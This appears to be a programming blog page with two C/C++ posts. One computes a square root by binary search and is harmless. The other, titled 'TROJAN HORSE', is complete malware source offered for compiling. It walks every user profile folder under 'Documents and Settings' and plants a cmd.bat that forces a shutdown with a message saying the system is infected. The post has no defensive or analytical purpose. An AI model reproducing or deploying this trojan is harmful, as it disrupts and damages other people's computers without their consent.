......................

Showing posts with label Others. Show all posts
Showing posts with label Others. Show all posts

Program to Find the Square Root of a Number Without using Inbuilt sqrt() Function

Posted by Unknown On Friday, June 10, 2011 1 comments

/**************************************************************************************

DISCRIPTION

The algorithm is very simple and uses the same concept of binary search; it works by minimizing the possible range of the square root.

Suppose NUM = 25,
We know that NUM is between 0 and 25, therefore its square root’s lower bound is LB = 0 and upper bound is UB = 25.
The next step is calculating the average of the bounds t = (LB + UB)/2.
If t2 = NUM we return t, if t2 < NUM all of the numbers between LB and t are not the square root, hence LB = t. Similarly, if  t2 > NUM then our upper bound, UB = t.


We can repeat this step as many times as we want. Each iteration doubles the precision.
If we didn’t find the specific square root when we finish, we should return (LB + UB) / 2, as it is the closest we can get to the actual square root.

**************************************************************************************/

#include <iostream.h>
#include <conio.h>

double sqrt(double num)
{
double lb,ub;
int iteration = 35; //The greater the number of iteration, The accurate is the result
lb = 0; //Set Lower Bound to zero
ub = num; //Set Upper Bound to num

while(iteration > 0)
{
  double t = (lb + ub) / 2;
  if(t * t == num) //If square of a t is equal to the num itself then
   return t; //Return Root

  else if(t * t > num) //If square of t is greater than the num
   ub = t; //Update Upper Bound

  else
   lb = t; //Update Lower Bound

  iteration--; //Decrease iteration
}

return (lb + ub) / 2; //Return closest value if root is not found in 35 iterations
}

int main()
{
double num,result;
cout << "Square Root of : ";
cin >> num;
if (num < 0)
  {
   cout << "Cannot Square Root a Negative Number";
   getch();
   return 0; //Halt the program
  }

result = sqrt(num);
cout << "is " << result; //Print Result
getch();
return 0;
}

OUTPUT


sqrt

Download Original File

SquareRoot.cpp

TROJAN HORSE

Posted by Unknown On Tuesday, June 15, 2010 0 comments

/*******************************************************
 APPLICATION : TROJAN HORSE (Will not work on Windows Vista and Above)
 CODED BY    : Ankit Pokhrel
 COMPILED ON : Borland C++ Ver 5.02
 DATE     : 2010 - June - 11
********************************************************/

#include "fstream.h"
#include "string.h"
#include "dos.h"
#include "dir.h"

int find_root(void)
{
 struct ffblk ffblk;
 int done,drive = -1;
 done = findfirst("c:\\Documents and Settings",&ffblk,FA_DIREC); //Find System Drive
 if(done == 0)
  drive = 0;

 else
  {
   done = findfirst("d:\\Documents and Settings",&ffblk,FA_DIREC);
   if(done == 0)
  drive = 1;
 else
  {
   done = findfirst("e:\\Documents and Settings",&ffblk,FA_DIREC);
   if(done == 0)
  drive = 2;
 else
  {
   done = findfirst("f:\\Documents and Settings",&ffblk,FA_DIREC);
   if(done == 0)
  drive = 3;
  }
 }
 }

 return drive;
}

void infect()
{
 int sys,done;
 char path[50];
 struct ffblk ffblk;
 ofstream outfile;

 sys = find_root();
 switch(sys)
  {
   case 0:
   done = findfirst("c:\\Documents and Settings\\*.*",&ffblk,FA_DIREC);
      break;

   case 1:
   done = findfirst("d:\\Documents and Settings\\*.*",&ffblk,FA_DIREC);
      break;

   case 2:
   done = findfirst("e:\\Documents and Settings\\*.*",&ffblk,FA_DIREC);
      break;

   case 3:
   done = findfirst("f:\\Documents and Settings\\*.*",&ffblk,FA_DIREC);
      break;
  }

 while(!done)
  {
   int condn = strcmp(ffblk.ff_name,".") && strcmp(ffblk.ff_name,"..");
   if(condn)
   {
       switch(sys)
       {
        case 0:
         strcpy(path,"c:\\Documents and Settings\\");
         break;

        case 1:
         strcpy(path,"d:\\Documents and Settings\\");
         break;

        case 2:
         strcpy(path,"e:\\Documents and Settings\\");
         break;

        case 3:
         strcpy(path,"f:\\Documents and Settings\\");
         break;
       }

   strcat(path,ffblk.ff_name);
   strcat(path,"\\cmd.bat");
   outfile.open(path,ios::out);
    {
     if(outfile.good())
     {
       outfile << "@echo off\n";
       outfile << "shutdown -s -t 05 -c \"Your System has been Infected by a TROJAN\"";
       outfile.close();
      }
     }
    }

    strcpy(ffblk.ff_name,"");
    done = findnext(&ffblk);
   }
 }

 int main()
 {
  infect();
  return 0;
 }

Leave Feedback about this BLOG